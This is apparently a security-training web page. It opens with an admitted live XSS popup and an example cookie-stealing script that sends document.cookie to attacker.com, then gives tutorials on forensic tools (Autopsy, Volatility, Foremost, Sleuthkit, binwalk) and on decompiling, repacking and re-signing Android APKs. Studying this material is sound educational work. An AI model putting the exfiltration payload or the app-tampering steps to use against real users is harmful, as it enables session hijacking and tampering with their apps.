NullSector NullSector

🚨 Did You See That Popup Alert Saying "1"?

That wasn't a bug—it was a LIVE demonstration of a hacking attack!

What just happened?
When you opened this page, your browser executed a JavaScript payload that triggered a popup alert. This is called Cross-Site Scripting (XSS)—one of the most common web vulnerabilities in the world!

How it works:
• A hacker injects malicious JavaScript into a website (via forms, URL parameters, or stored data)
• When victims load the page, the code executes in THEIR browser
• The payload can: steal cookies, capture keystrokes, redirect to phishing sites, or take over sessions
• Example: <script>alert(1)</script> → Shows popup (proof of XSS!)
• Real attacks use: <script>fetch('http://attacker.com?cookie='+document.cookie)</script> → Steals your session!

Why we included this:
We wanted to show you that hacking isn't just theory—it's REAL and ACTIVE! This same XSS technique was covered in our previous chapters on Web Security (Chapter 07) where we explained how to find, exploit, and defend against XSS vulnerabilities using Kali tools like Burp Suite, XSStrike, BeEF, and OWASP ZAP.

The tools you'll master in THIS chapter (Kali Part II):
• BeEF (Browser Exploitation Framework): Hook victims' browsers with XSS, control them remotely!
• XSStrike: Automated XSS vulnerability scanner
• Burp Suite: Intercept and modify requests to inject payloads
• SQLmap: Automate SQL injection attacks (steal entire databases!)
• Metasploit: Exploit vulnerabilities and get reverse shells
• ...and 200+ more Kali tools with EVERY flag explained!

🎯 Key takeaway: Security isn't just reading—it's EXPERIENCING attacks firsthand. Now you've seen XSS in action. By the end of this chapter, YOU'LL be able to craft these attacks (ethically, in labs!) and defend against them. Welcome to the real world of hacking! 💀🔥

(P.S. This XSS demonstration is intentional and safe—it only shows a harmless alert. No data is stolen. It's purely educational to show you what attackers can do!)

Digital Forensics & Memory Analysis

Digital forensics is like being a detective for computers. When a computer gets hacked or a crime happens, forensic investigators examine the digital evidence left behind—deleted files, memory dumps, logs, hidden data. In this section, you'll learn how to analyze disk images, recover deleted files, examine memory for malware, and uncover evidence that attackers tried to hide. Think CSI, but for cybersecurity!

What Even IS Digital Forensics?

Digital Forensics = Crime Scene Investigation for Computers

Crime scene: A hacker broke into a company server
Evidence: Hard drive image, RAM dump, network logs
Your job: Find out WHO did it, WHAT they did, WHEN it happened, and HOW they got in

Just like a real detective:
• Preserve the evidence (don't modify original data!)
• Analyze artifacts (files, logs, memory)
• Timeline reconstruction (what happened when?)
• Report findings (document everything)

Digital forensics tools help you examine data without changing it, recover deleted files, and find hidden clues!

Part 1: Autopsy - The Ultimate Disk Forensics Tool

Autopsy is a GUI-based forensic tool that makes analyzing disk images EASY. It's like having a magnifying glass for hard drives!

What Can Autopsy Do?

✅ Analyze disk images (entire hard drive copies) ✅ Recover deleted files (from recycle bin or permanently deleted) ✅ Extract metadata (when files were created, modified, accessed) ✅ Search for keywords across entire disk ✅ Timeline analysis (what happened at what time) ✅ Hash analysis (verify file integrity, detect known bad files) ✅ Web history (browser history, cookies, downloads) ✅ Email analysis (extract emails from mail clients)

Starting Autopsy

# Launch Autopsy (GUI opens in browser) autopsy # Output: # Open Web Browser on http://localhost:9999/autopsy # # Now open your browser and go to that URL!

What's a Disk Image?

A disk image is a PERFECT copy of an entire hard drive, USB stick, or SD card. It's like taking a photograph of the drive—every file, every deleted file, every bit of data is captured EXACTLY as it was.

Why use images instead of the original drive?
• Preserve evidence (don't risk modifying the original)
• Work on a copy (safe to experiment)
• Repeatability (other investigators can analyze the same data)

Common formats: .dd (raw image), .E01 (EnCase format), .AFF (Advanced Forensic Format)

Creating a Disk Image with dd

# dd = "disk dump" - creates byte-for-byte copy of a drive # # Basic syntax: # dd if=INPUT of=OUTPUT bs=BLOCK_SIZE # # if = input file (source drive) # of = output file (destination image) # bs = block size (how much data to copy at once) # Example: Image a USB drive sudo dd if=/dev/sdb of=/root/evidence/usb_image.dd bs=4M status=progress # Let's break this down: # if=/dev/sdb → Source: USB drive (sdb is the device name) # of=usb_image.dd → Destination: File where image will be saved # bs=4M → Block size: Copy 4 megabytes at a time (faster!) # status=progress → Show progress bar while copying # Output while running: # 1073741824 bytes (1.1 GB) copied, 45 s, 23.9 MB/s # [Shows how much data copied and speed] # When done: # 2048+0 records in # 2048+0 records out # 2147483648 bytes (2.1 GB) copied, 89.5 s, 24.0 MB/s

⚠️ BE EXTREMELY CAREFUL WITH dd!

If you mix up if and of, you'll OVERWRITE your source drive and DESTROY THE EVIDENCE!

WRONG (DISASTER):
sudo dd if=/root/evidence/usb_image.dd of=/dev/sdb
↑ This OVERWRITES the USB drive with the image file!

Always double-check:
• if = where you're copying FROM (source)
• of = where you're copying TO (destination)

Pro tip: Use lsblk to verify device names before running dd!

Using Autopsy to Analyze a Disk Image

# Step 1: Launch Autopsy autopsy # Step 2: Open http://localhost:9999/autopsy in browser # Step 3: Create New Case # - Case Name: "USB_Investigation_2026" # - Description: "Analyzing suspicious USB drive" # - Investigator: "Your Name" # Click "New Case" # Step 4: Add Host # - Host Name: "Suspect_USB" # - Description: "USB drive from suspect's desk" # Click "Add Host" # Step 5: Add Image # - Click "Add Image" # - Image Type: "Partition" # - Image File: Browse to /root/evidence/usb_image.dd # - Import Method: "Symlink" (faster) or "Copy" (safer) # Click "Next" → "Add" # Step 6: File Analysis # Now you can: # - Browse all files (even deleted ones!) # - Search for keywords # - View file metadata # - Extract files # - Generate timeline

Autopsy's Key Features

File Browser

Navigate the entire file system. See EVERYTHING—including deleted files marked with an X. Click any file to view its contents, metadata, and hex dump.

Keyword Search

Search entire disk for words like "password", "secret", email addresses, credit card numbers. Finds hidden data in files, slack space, unallocated clusters.

Timeline

See WHEN every file was created, modified, accessed, deleted. Reconstruct exactly what the user did hour by hour!

Hash Database

Compare file hashes against known databases. Identify malware, illegal files, or verify legitimate system files haven't been tampered with.

Part 2: Volatility - Memory Forensics Master

Volatility analyzes RAM dumps to find evidence of malware, hidden processes, network connections, and malicious activity that only exists in memory!

Why Analyze Memory?

Think of RAM as short-term memory for a computer:

Hard Drive: Long-term storage (files saved forever)
RAM: Active memory (what's running RIGHT NOW)

Sophisticated malware runs ONLY in memory—no files on disk! It injects itself into processes, hides from antivirus, and disappears when the computer reboots. But if you capture RAM before it reboots, Volatility can find it!

Memory dumps contain:
• Running processes (including hidden malware)
• Network connections (where malware is connecting)
• Open files (what programs are accessing)
• Encryption keys (sometimes recoverable!)
• Command history (what commands were run)
• Passwords in memory (cleartext!)

Capturing Memory with LiME (Linux) or DumpIt (Windows)

# On Linux: Use LiME (Linux Memory Extractor) # First, install LiME (comes with Kali) cd /usr/src/lime make # Capture memory sudo insmod lime.ko "path=/root/evidence/memory.lime format=lime" # Output: # [LiME] Allocated memory range: 0x0000000000000000 - 0x000000007fffffff # [LiME] Writing 8GB to /root/evidence/memory.lime # [This takes a few minutes depending on RAM size] # On Windows: Use DumpIt or FTK Imager # DumpIt.exe → Click "Start" → Saves memory.dmp

Volatility Basics - Finding the Memory Profile

# Volatility needs to know what OS version the memory dump is from # First, identify the profile: volatility -f memory.lime imageinfo # Output: # Suggested Profile(s) : LinuxUbuntu2004x64, LinuxDebian10x64 # AS Layer1 : LinuxAMD64PagedMemory (Kernel AS) # DTB : 0x1aa000L # # The "Suggested Profile" tells you what OS this dump is from! # Now use that profile for all subsequent commands

What's a Profile?

Different operating systems store data differently in memory. Volatility needs to know the exact OS version to correctly parse the memory structures.

Think of it like languages:
If you're reading a book, you need to know if it's in English, Spanish, or Chinese to understand it. Similarly, Volatility needs to know if the memory is from Windows 10, Ubuntu 20.04, or macOS to parse it correctly!

Always run imageinfo first to find the right profile!

Volatility Commands - The Essential Plugins

# 1. List running processes volatility -f memory.lime --profile=LinuxUbuntu2004x64 linux_pslist # Output: # Offset Name Pid PPid Uid Start Time # 0x88007c00 init 1 0 0 2026-01-07 10:23:45 # 0x88007e00 systemd 1234 1 0 2026-01-07 10:24:12 # 0x88008000 bash 2345 1234 1000 2026-01-07 11:15:33 # 0x88008200 malware 3456 1 0 2026-01-07 14:22:19 ← Suspicious! # # Shows every process that was running, including: # - PID (process ID) # - PPID (parent process ID - who started this process) # - User who ran it (Uid 0 = root) # - When it started # 2. Find hidden/injected processes volatility -f memory.lime --profile=LinuxUbuntu2004x64 linux_psxview # This compares multiple process-listing methods # If a process appears in one method but not another, it's HIDDEN! # Common malware technique: remove process from task list but keep running # 3. List network connections volatility -f memory.lime --profile=LinuxUbuntu2004x64 linux_netstat # Output: # Protocol Local Address Foreign Address State PID # TCP 192.168.1.10:443 8.8.8.8:443 ESTABLISHED 2345 # TCP 192.168.1.10:4444 evil-c2.com:4444 ESTABLISHED 3456 ← C2! # # Shows what connections were active # Look for suspicious IPs, known C2 servers, unusual ports # 4. Dump process memory volatility -f memory.lime --profile=LinuxUbuntu2004x64 linux_procdump -p 3456 -D /root/evidence/ # Extracts the entire memory of process 3456 (the suspicious one) # Creates file: 3456.dmp # Now you can analyze the malware's code directly! # 5. Extract command history volatility -f memory.lime --profile=LinuxUbuntu2004x64 linux_bash # Output: # Pid Command Time Command # 2345 2026-01-07 11:15:33 cd /tmp # 2345 2026-01-07 11:16:12 wget http://malicious.com/payload # 2345 2026-01-07 11:16:45 chmod +x payload # 2345 2026-01-07 11:17:02 ./payload # # Shows EXACTLY what commands the attacker ran!

Volatility for Windows Memory

# Windows has different plugins but same workflow: # 1. Identify profile volatility -f memory.dmp imageinfo # Output: # Suggested Profile(s): Win10x64_19041 # 2. List processes volatility -f memory.dmp --profile=Win10x64_19041 pslist # 3. Find DLLs loaded by a process volatility -f memory.dmp --profile=Win10x64_19041 dlllist -p 1234 # Shows all libraries a process loaded # Malware often injects malicious DLLs into legitimate processes! # 4. Scan for malware indicators volatility -f memory.dmp --profile=Win10x64_19041 malfind # Automatically detects suspicious memory regions: # - Executable code in unusual places # - Hidden/injected code # - Packed/encrypted sections # Output: # Process: explorer.exe Pid: 2468 # Address: 0x7fef0000 # Protection: PAGE_EXECUTE_READWRITE (suspicious!) # # Hexdump: # 4d 5a 90 00 03 00 00 00 MZ...... ← PE header (executable!) # [This is injected malware!] # 5. Extract registry hives volatility -f memory.dmp --profile=Win10x64_19041 hivelist # Shows all registry hives in memory # You can then dump them and analyze: volatility -f memory.dmp --profile=Win10x64_19041 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run" # Shows programs set to run at startup (persistence mechanism!)

Memory Analysis Takes TIME!

Analyzing an 8GB memory dump can take hours. Volatility scans the entire dump for each command. Be patient!

Tips for faster analysis:
• Use --output=json to save results for later review
• Run multiple plugins at once in separate terminals
• Focus on specific processes if you have leads
• Consider using bulk_extractor first for quick wins

Part 3: Foremost - File Carving Master

Foremost recovers deleted files from disk images by looking for file signatures (magic bytes) without needing the file system!

File Carving = Finding Puzzle Pieces in a Junkyard

Imagine a shredded document. The pieces are scattered, but each piece has clues (edges, colors, text). File carving is similar:

Every file type has a unique "signature" (magic bytes) at the start:
• JPEG: FF D8 FF
• PDF: 25 50 44 46 (literally "%PDF")
• ZIP: 50 4B 03 04

Foremost scans the ENTIRE disk looking for these signatures, then extracts the complete file—even if it's deleted, the file system is damaged, or it's in unallocated space!

It's like having X-ray vision for hard drives!

Using Foremost

# Basic usage: foremost -i INPUT_IMAGE -o OUTPUT_DIR # Example: Carve files from USB image foremost -i /root/evidence/usb_image.dd -o /root/evidence/carved_files/ # Foremost scans the image and extracts: # - All JPEGs # - All PDFs # - All DOC/DOCX files # - All ZIP files # - PNG, GIF, AVI, MPG, WAV, etc. # Output while running: # Processing: /root/evidence/usb_image.dd # [Shows progress bar] # When done, check the output directory: ls /root/evidence/carved_files/ # Output: # jpg/ ← All recovered JPEG files # pdf/ ← All recovered PDFs # zip/ ← All recovered ZIPs # audit.txt ← Summary of what was found

Foremost Flags

# -t : Specify file types to carve (faster than carving everything) foremost -t jpg,pdf,doc -i image.dd -o output/ # Only carves JPEGs, PDFs, and DOC files # -v : Verbose mode (show more details) foremost -v -i image.dd -o output/ # -q : Quiet mode (no output, just run) foremost -q -i image.dd -o output/ # -c : Use custom configuration file foremost -c /path/to/custom.conf -i image.dd -o output/ # Custom config lets you define your own file signatures! # -d : Enable indirect block detection (for fragmented files) foremost -d -i image.dd -o output/ # Tries harder to recover fragmented files (slower but more thorough)

Custom Configuration for Foremost

# Create custom foremost config to carve unusual file types # Config file format: filetype case header footer maxsize # # Example config (/root/custom_foremost.conf): # Carve Bitcoin wallet files dat y \x35\x05\x00\x00\x00\x00\x00\x00 \xff\xff\xff\xff 5000000 # Carve PGP private keys asc y -----BEGIN\sPGP -----END\sPGP 10000 # Carve SSH private keys pem y -----BEGIN\sRSA -----END\sRSA 10000 # Use custom config: foremost -c /root/custom_foremost.conf -i image.dd -o output/

When to Use File Carving

Use Foremost when:
• Files have been permanently deleted (not in recycle bin)
• File system is corrupted/damaged
• Suspect reformatted the drive
• You need to recover specific file types quickly

Limitations:
• Can't recover filenames (files are named sequentially like 00000001.jpg)
• Can't recover directory structure
• Fragmented files might not carve correctly
• Overwrites make recovery impossible

For better results, use Foremost + Autopsy together!

Part 4: Sleuthkit - Command-Line Forensics Powerhouse

Sleuthkit is a collection of command-line tools for forensic analysis. Autopsy uses Sleuthkit under the hood!

Key Sleuthkit Tools

# mmls - Display partition layout mmls image.dd # Output: # DOS Partition Table # Offset Sector Start End Length Description # 0000000000 0000 0000000 0000000 0000001 Primary Table (#0) # 0000000001 0001 0000001 0002047 0002047 Unallocated # 0000001048576 2048 0002048 0502399 0500352 Linux (0x83) # # Shows you where each partition starts/ends # Useful for finding hidden partitions! # fsstat - Show file system info fsstat image.dd # Output: # FILE SYSTEM INFORMATION # File System Type: Ext4 # Volume Name: USB_DRIVE # Volume ID: a1b2c3d4 # Last Written: 2026-01-07 14:22:19 PST # Last Checked: 2026-01-01 09:00:00 PST # Block Size: 4096 # Total Blocks: 512000 # Free Blocks: 123456 # fls - List files (including deleted!) fls -r image.dd # Output: # r/r 12: secret.txt # r/r * 24: deleted_file.pdf ← Asterisk means DELETED! # d/d 36: Documents # r/r 48: photo.jpg # # -r flag makes it recursive (shows files in subdirectories) # icat - Extract file by inode number icat image.dd 24 > recovered_file.pdf # Extracts the deleted file with inode 24! # Inode = unique file identifier (like a social security number for files) # ils - List deleted inodes ils image.dd # Shows all deleted files that can potentially be recovered # istat - Show detailed inode info istat image.dd 24 # Output: # inode: 24 # Allocated: No (DELETED!) # File Type: Regular File # Size: 524288 bytes # Created: 2026-01-05 10:15:30 PST # Modified: 2026-01-05 10:20:45 PST # Accessed: 2026-01-07 14:10:22 PST # Deleted: 2026-01-07 14:22:19 PST

Timeline Analysis with Sleuthkit

# Create a timeline of ALL file activity # Step 1: Extract timeline data fls -r -m / image.dd > timeline.body # Step 2: Convert to human-readable format mactime -b timeline.body -d > timeline.txt # Step 3: View timeline cat timeline.txt # Output: # Date,Size,Type,Mode,UID,GID,Meta,File Name # 2026-01-07 10:15:30, 1024, .a.., -rw-r--r--, 1000, 1000, 12, /home/user/secret.txt # 2026-01-07 14:22:19, 524288, .a.., -rw-r--r--, 1000, 1000, 24, /home/user/deleted.pdf (deleted) # # Shows EXACTLY when every file was created, modified, accessed, deleted! # Perfect for reconstructing attacker's actions

Part 5: bulk_extractor - Fast Evidence Scanner

bulk_extractor scans disk images for useful information WITHOUT parsing the file system. It's FAST and finds things other tools miss!

# Basic usage: bulk_extractor -o OUTPUT_DIR INPUT_IMAGE # Example: bulk_extractor -o /root/evidence/bulk_results/ /root/evidence/usb_image.dd # bulk_extractor automatically extracts: # ✅ Email addresses # ✅ URLs # ✅ Credit card numbers # ✅ Phone numbers # ✅ Social security numbers # ✅ Bitcoin addresses # ✅ GPS coordinates (EXIF data) # ✅ Encryption keys # ✅ Domain names # ✅ Search terms # Output files created: ls /root/evidence/bulk_results/ # Output: # email.txt ← All email addresses found # url.txt ← All URLs found # ccn.txt ← Credit card numbers (!!!) # telephone.txt ← Phone numbers # domain.txt ← Domain names # gps.txt ← GPS coordinates from photos # rfc822.txt ← Email messages # wordlist.txt ← Unique words (useful for password cracking!)

Why bulk_extractor is AMAZING

Speed: Scans gigabytes in minutes (doesn't care about file system)
Thoroughness: Finds data in unallocated space, compressed files, memory dumps
Automation: No configuration needed—just point and shoot!

Real-world use case:
Investigator has 100GB disk image. Instead of manually searching, run bulk_extractor overnight. Wake up to nicely organized lists of emails, URLs, and sensitive data. Follow the leads from there!

It's like having a robot assistant that reads EVERYTHING and highlights the important stuff!

bulk_extractor Advanced Options

# -j : Number of threads (faster on multi-core systems) bulk_extractor -j 8 -o output/ image.dd # Uses 8 CPU cores (4x faster on quad-core!) # -x : Enable specific scanners bulk_extractor -x scan_accts -o output/ image.dd # Only run the account scanner (finds username/password combos) # -E : Enable specific extractors bulk_extractor -E wordlist -o output/ image.dd # Extract wordlist for password cracking # -S : Specify scanner directory (for custom scanners) bulk_extractor -S /usr/share/bulk_extractor/scanners -o output/ image.dd # -q : Quiet mode (no output to screen) bulk_extractor -q -o output/ image.dd

Part 6: chkrootkit - Rootkit Detection

chkrootkit checks your system for rootkits—malware that hides itself and other malware from detection!

Rootkits = The Invisible Man

Normal malware is like a burglar wearing a ski mask—suspicious but visible.

Rootkits are like invisible burglars:
• Hide processes from ps command
• Hide files from ls command
• Hide network connections from netstat
• Replace system commands with backdoored versions

chkrootkit looks for signs of rootkit activity by checking if system commands have been modified and looking for known rootkit signatures!

# Run chkrootkit (as root) sudo chkrootkit # Output: # Checking `amd'... not found # Checking `basename'... not infected # Checking `biff'... not found # Checking `chfn'... not infected # Checking `chsh'... not infected # Checking `cron'... not infected # Checking `date'... not infected # [...] # Checking `lkm'... You have 5 process hidden for readdir command # Checking `lkm'... Warning: Possible LKM Trojan installed ← ALERT! # # Any "Warning" or "INFECTED" is a red flag! # Check specific tests: sudo chkrootkit -x # Lists all available tests # Run specific test: sudo chkrootkit suspicious_files # Only checks for suspicious files # Expert mode (detailed output): sudo chkrootkit -x | grep INFECTED # Shows only infected/suspicious results

False Positives Are Common!

chkrootkit sometimes flags legitimate software as "suspicious". Don't panic!

Investigate further:
• Google the specific warning
• Check file hashes against known good versions
• Use multiple rootkit scanners (rkhunter, OSSEC)
• Compare with clean system

Real rootkits are RARE on properly maintained systems. Most "detections" are false alarms!

Part 7: Binwalk - Firmware Analysis Tool

Binwalk analyzes, extracts, and reverse-engineers firmware images from routers, IoT devices, embedded systems!

# Analyze firmware file binwalk firmware.bin # Output: # DECIMAL HEX DESCRIPTION # 0 0x0 uImage header, header CRC: 0x12345678 # 64 0x40 LZMA compressed data # 1048576 0x100000 Squashfs filesystem, little endian # 3145728 0x300000 JFFS2 filesystem data # # Shows what's INSIDE the firmware: # - Boot loader # - Compressed data # - File systems # - Embedded files # Extract embedded files automatically: binwalk -e firmware.bin # Creates directory: _firmware.bin.extracted/ # Contains all extracted files and file systems! # Extract specific signature: binwalk --dd='.*' firmware.bin # Extracts everything it finds

Analyzing Router Firmware Example

# 1. Download firmware from manufacturer's website wget http://routermaker.com/downloads/router_fw_v2.1.bin # 2. Analyze with binwalk binwalk router_fw_v2.1.bin # Output shows: # - SquashFS file system at offset 0x200000 # 3. Extract file system binwalk -e router_fw_v2.1.bin # 4. Navigate to extracted file system cd _router_fw_v2.1.bin.extracted/squashfs-root/ # 5. You can now examine: ls -la # Output: # bin/ ← Binaries # etc/ ← Configuration files # www/ ← Web interface # lib/ ← Libraries # 6. Look for hardcoded passwords grep -r "password" etc/ # Output: # etc/config.xml: admin123 ← FOUND IT! # 7. Check web interface for vulnerabilities cd www/ grep -r "eval" . # Look for dangerous functions like eval(), system(), exec()

🎉 You're Now a Digital Forensics Detective!

You've learned:

✅ Autopsy: GUI forensic analysis, disk image examination
✅ Volatility: Memory forensics, finding hidden malware
✅ Foremost: File carving, recovering deleted files
✅ Sleuthkit: Command-line forensics, timeline analysis
✅ bulk_extractor: Fast evidence extraction
✅ chkrootkit: Rootkit detection
✅ Binwalk: Firmware analysis

You can now investigate hacked systems, recover deleted evidence, analyze memory dumps, and extract firmware from IoT devices. Digital forensics is like being a detective with superpowers—you can see what happened even when attackers tried to cover their tracks!

Practice challenges:
• Download practice disk images from forensic CTFs
• Analyze your own system's memory
• Extract firmware from old routers
• Create timeline of your own file activity

The evidence is ALWAYS there if you know where to look! 🔍

Mobile Security & App Pentesting

Welcome to the world where your phone is no longer just a communication device—it's a treasure chest of secrets, vulnerabilities, and attack vectors! Every app you download, every permission you grant, every API call made in the background... it's all code that can be analyzed, reversed, and potentially exploited. In this section, we're diving deep into the art and science of mobile application penetration testing. Whether you're hunting for hardcoded API keys, bypassing SSL pinning, or hooking into running processes to manipulate app behavior in real-time, this is your complete guide to mobile security from a hacker's perspective.

💡 Think of Mobile Apps Like Locked Boxes

Imagine every app on your phone is a locked treasure box. Regular users see only the outside—the shiny interface, the buttons, the screens. But as a pentester, you have tools to crack open that box and see what's inside: the actual code, the hidden API endpoints, the secrets developers thought were safe. APKTool is your crowbar, Jadx is your magnifying glass, and Frida is your master key that works while the box is still locked!

What is Mobile Penetration Testing?

Mobile penetration testing is the process of systematically analyzing mobile applications (primarily Android and iOS) to identify security vulnerabilities before malicious actors can exploit them. Unlike traditional web pentesting where you're attacking servers and websites, mobile pentesting focuses on the app itself—the code running on millions of devices.

Why Mobile Security Matters

5+ billion smartphones worldwide. Each one runs dozens of apps. Banking apps, social media, health trackers, password managers—all storing sensitive data. A single vulnerability in a popular app can expose millions of users to:

  • Data theft: Credentials, tokens, personal information
  • Financial fraud: Bypassing payment verification, unauthorized transactions
  • Privacy violations: Location tracking, microphone/camera access
  • Malware injection: Modifying apps to include malicious code

The Mobile Pentesting Process (Overview)

Before we dive into each tool, here's the big picture of how mobile pentesting works:

1. Acquisition

Download the target APK (Android Package) or IPA (iOS App Store Package) from the app store, device, or third-party sources.

2. Static Analysis

Decompile the app to examine its code, resources, and manifest files without running it. Look for hardcoded secrets, insecure configurations, and vulnerable code patterns.

3. Dynamic Analysis

Run the app in a controlled environment while intercepting network traffic, monitoring file system changes, and hooking into functions to observe runtime behavior.

4. Vulnerability Assessment

Identify security issues like insecure data storage, weak crypto, exposed endpoints, SSL pinning that can be bypassed, and insufficient authentication.

5. Exploitation

Prove the impact by exploiting vulnerabilities—bypass authentication, extract sensitive data, modify app behavior, or escalate privileges.

6. Reporting

Document findings with severity ratings, proof-of-concept code, impact assessment, and remediation recommendations.

⚠️ Legal & Ethical Boundaries

CRITICAL: Only test apps you have explicit permission to test. This means:

  • Apps you developed yourself
  • Apps where you have written authorization from the owner/company
  • Apps specifically created for training (like DVIA, InsecureBankv2, etc.)

Reverse engineering commercial apps without permission is often illegal under laws like the DMCA (USA), Computer Misuse Act (UK), and similar legislation worldwide. Bug bounty programs are your legal avenue for testing real-world apps!

Understanding Android Architecture

Before you can hack Android apps, you need to understand what you're hacking. Let's break down Android's architecture from a pentester's perspective:

The APK Structure

An APK (Android Package Kit) is essentially a ZIP archive with a specific structure. When you decompile an APK, you'll find:

my-app.apk/ │ ├── AndroidManifest.xml ← App permissions, components, metadata ├── classes.dex ← Compiled Dalvik bytecode (the actual code) ├── classes2.dex ← Additional DEX files (large apps) ├── resources.arsc ← Compiled resources (strings, layouts, etc.) ├── META-INF/ ← App signatures and certificates │ ├── MANIFEST.MF │ ├── CERT.SF │ └── CERT.RSA ├── lib/ ← Native libraries (.so files) │ ├── armeabi-v7a/ ← ARM 32-bit libraries │ ├── arm64-v8a/ ← ARM 64-bit libraries │ ├── x86/ ← x86 32-bit libraries │ └── x86_64/ ← x86 64-bit libraries ├── assets/ ← Raw asset files (databases, configs, etc.) ├── res/ ← Resources (images, layouts, strings) │ ├── drawable/ ← Images and icons │ ├── layout/ ← XML UI layouts │ └── values/ ← Strings, colors, dimensions └── kotlin/ ← Kotlin metadata (if app uses Kotlin)

Why This Structure Matters for Pentesting

Every folder and file has security implications:

  • AndroidManifest.xml: Lists all permissions (camera, location, contacts). Over-privileged apps = red flag!
  • classes.dex: The actual code. This is what you decompile to find vulnerabilities.
  • lib/: Native libraries can contain hardcoded secrets or backdoors.
  • assets/: Often contains databases, config files, API keys in plaintext.
  • res/values/strings.xml: Developers sometimes hide API keys here thinking "it's just a string file."

Part 1: APKTool - The Swiss Army Knife of APK Analysis

APKTool is THE tool for decompiling and recompiling Android APK files. It converts the binary APK into human-readable format (Smali code and XML files), lets you modify it, then repackages it back into an APK. This is essential for understanding how apps work and testing modifications.

💡 APKTool is Like Google Translate for Apps

Imagine you receive a book written in an alien language (the compiled APK). You can't read it directly. APKTool is your translator—it converts the alien language into something you can understand (Smali code, XML files). You can then edit the translation, and APKTool will convert it back into the alien language so the app can run with your changes!

Installing APKTool

# APKTool comes pre-installed on Kali, but here's how to update it: wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar mv apktool_2.9.3.jar apktool.jar chmod +x apktool apktool.jar sudo mv apktool apktool.jar /usr/local/bin/ # Verify installation: apktool --version # Output: # 2.9.3

Decompiling an APK with APKTool

# Basic syntax: # apktool d [flags] [output_directory] # # d = decode (decompile) # Example: Decompile an APK apktool d myapp.apk # Output: # I: Using Apktool 2.9.3 # I: Loading resource table... # I: Decoding AndroidManifest.xml with resources... # I: Loading resource table from file: /home/user/.local/share/apktool/framework/1.apk # I: Regular manifest package... # I: Decoding file-resources... # I: Decoding values */* XMLs... # I: Baksmaling classes.dex... # I: Baksmaling classes2.dex... # I: Copying assets and libs... # I: Copying unknown files... # I: Copying original files... # # Creates folder: myapp/ # Navigate into decompiled app: cd myapp/ ls -la # Output: # AndroidManifest.xml ← Now human-readable XML! # apktool.yml ← APKTool metadata # original/ ← Original META-INF (signature) # res/ ← All resources (images, layouts, strings) # smali/ ← Decompiled code in Smali format # lib/ ← Native libraries # assets/ ← Asset files

APKTool Flags Explained (Every Single One!)

# -d, --decode # Decompile the APK (this is the default action) apktool d myapp.apk # -f, --force # Force delete destination directory if it exists already apktool d -f myapp.apk # Without -f, you'd get error: "Destination directory exists, use -f to force" # With -f, APKTool deletes the old folder and creates a fresh decompile # -o, --output # Specify custom output directory name apktool d myapp.apk -o my_custom_folder # Creates "my_custom_folder" instead of default "myapp" # -s, --no-src # Do NOT decompile source code (skip classes.dex → smali conversion) # Only extract resources (AndroidManifest, res/, assets/) apktool d -s myapp.apk # Useful when you only care about resources, not code # Much faster! (No need to decompile thousands of smali files) # -r, --no-res # Do NOT decode resources (skip res/ folder) # Only decompile code (classes.dex → smali) apktool d -r myapp.apk # Opposite of -s. Use when you only need code, not images/layouts # --no-assets # Do NOT decode assets # Skip the assets/ folder extraction apktool d --no-assets myapp.apk # --only-main-classes # Only decompile main classes.dex (skip classes2.dex, classes3.dex, etc.) apktool d --only-main-classes myapp.apk # Large apps split code into multiple DEX files # This flag saves time by only processing the first one # --frame-path # Specify custom framework directory # (Advanced: For apps that depend on specific Android framework versions) apktool d --frame-path /path/to/frameworks myapp.apk # -p, --frame-tag # Tag frameworks using a specific name apktool d -p samsung_framework myapp.apk # Useful for Samsung/Xiaomi/etc. apps with custom frameworks # -t, --tag # Use specific framework files with this tag apktool d -t samsung myapp.apk # --api # Set Android API level manually apktool d --api 30 myapp.apk # Forces APKTool to treat the app as Android 11 (API 30) # -m, --match-original # Keep some files in their original form (don't decode them) apktool d -m myapp.apk # Useful for preserving signature-related files

Recompiling (Building) an APK

# After modifying the decompiled app, rebuild it: # apktool b [flags] # # b = build (recompile) # Basic build: apktool b myapp # Output: # I: Using Apktool 2.9.3 # I: Checking whether sources has changed... # I: Smaling smali folder into classes.dex... # I: Smaling smali_classes2 folder into classes2.dex... # I: Building resources... # I: Copying libs... (/lib) # I: Copying libs... (/kotlin) # I: Building apk file... # I: Copying unknown files/dir... # I: Built apk into: myapp/dist/myapp.apk # # The rebuilt APK is in: myapp/dist/myapp.apk # Build flags: # -f, --force # Force rebuild even if no changes detected apktool b -f myapp # -o, --output # Specify output APK filename apktool b myapp -o modified_app.apk # -c, --copy-original # Copy original files (like original signature) apktool b -c myapp # -p, --frame-path # Use custom framework path (must match what you used during decode) apktool b -p samsung_framework myapp # -d, --debug # Build in debug mode (easier to debug with Android Studio) apktool b -d myapp # -n, --net-sec-conf # Do not include default network security config apktool b -n myapp # Useful if you're adding custom network config # -a, --aapt # Use custom aapt binary (Android Asset Packaging Tool) apktool b -a /path/to/custom/aapt myapp # --use-aapt2 # Use aapt2 instead of aapt (newer, faster) apktool b --use-aapt2 myapp

⚠️ Rebuilt APKs Need to Be Signed!

After rebuilding an APK, Android will REFUSE to install it because it's no longer signed by the original developer. You must sign it with your own key:

Step 1: Generate a keystore (one-time setup)

keytool -genkey -v -keystore my-release-key.keystore -alias my_alias -keyalg RSA -keysize 2048 -validity 10000 # Answer the prompts: # Enter keystore password: [your_password] # Re-enter password: [your_password] # What is your first and last name? [Your Name] # [... more questions ...] # This creates: my-release-key.keystore

Step 2: Sign the rebuilt APK

jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore my-release-key.keystore myapp/dist/myapp.apk my_alias # Enter Passphrase for keystore: [your_password] # Output: # signing: AndroidManifest.xml # signing: classes.dex # signing: resources.arsc # [... more files ...] # jar signed.

Step 3: Verify signature

jarsigner -verify -verbose -certs myapp/dist/myapp.apk # Output: # jar verified.

Now your APK can be installed on Android devices!

Real-World APKTool Workflow: Bypassing Certificate Pinning

Let's see APKTool in action with a common pentest scenario: bypassing SSL certificate pinning to intercept HTTPS traffic.

